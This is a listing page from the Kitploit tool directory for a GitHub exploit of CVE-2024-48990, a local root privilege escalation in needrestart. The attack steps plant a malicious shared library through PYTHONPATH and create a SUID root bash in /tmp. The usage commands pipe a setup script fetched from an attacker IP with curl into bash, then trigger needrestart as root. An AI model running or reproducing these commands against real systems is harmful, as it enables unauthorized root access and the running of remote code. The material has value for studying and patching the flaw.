Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-48990 — Full exploit for needsrestart setuid root shell | Kitploit
Tools/GitHubGitHub/mladicstefan/cve-2024-48990
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingPayload Development
GitHubmladicstefan/cve-2024-48990

CVE-2024-48990

Full exploit for needsrestart setuid root shell

View Repository
9 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-48990 Exploit

Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.

How It Works

  1. needrestart runs as root and scans all processes
  2. Finds our Python process, reads PYTHONPATH=/tmp/.m from /proc/[pid]/environ
  3. Executes Python as root with our malicious PYTHONPATH
  4. Python's import loads /tmp/.m/importlib/__init__.so (our malicious library)
  5. Constructor in .so executes as root before Python even starts
  6. Creates SUID bash at /tmp/rootbash
  7. Execute /tmp/rootbash -p for root shell

Key Point: needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.

Usage

Attacker:

root@kitploit:~
./compile.sh
python3 -m http.server 8000

Target:

root@kitploit:~
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

The e.py process should hang and spawn root once the following is ran from a 2nd terminal:

root@kitploit:~
sudo needsrestard

the first terminal will start a root shell

Credits

Qualys Threat Research Unit - CVE-2024-48990

Download Tool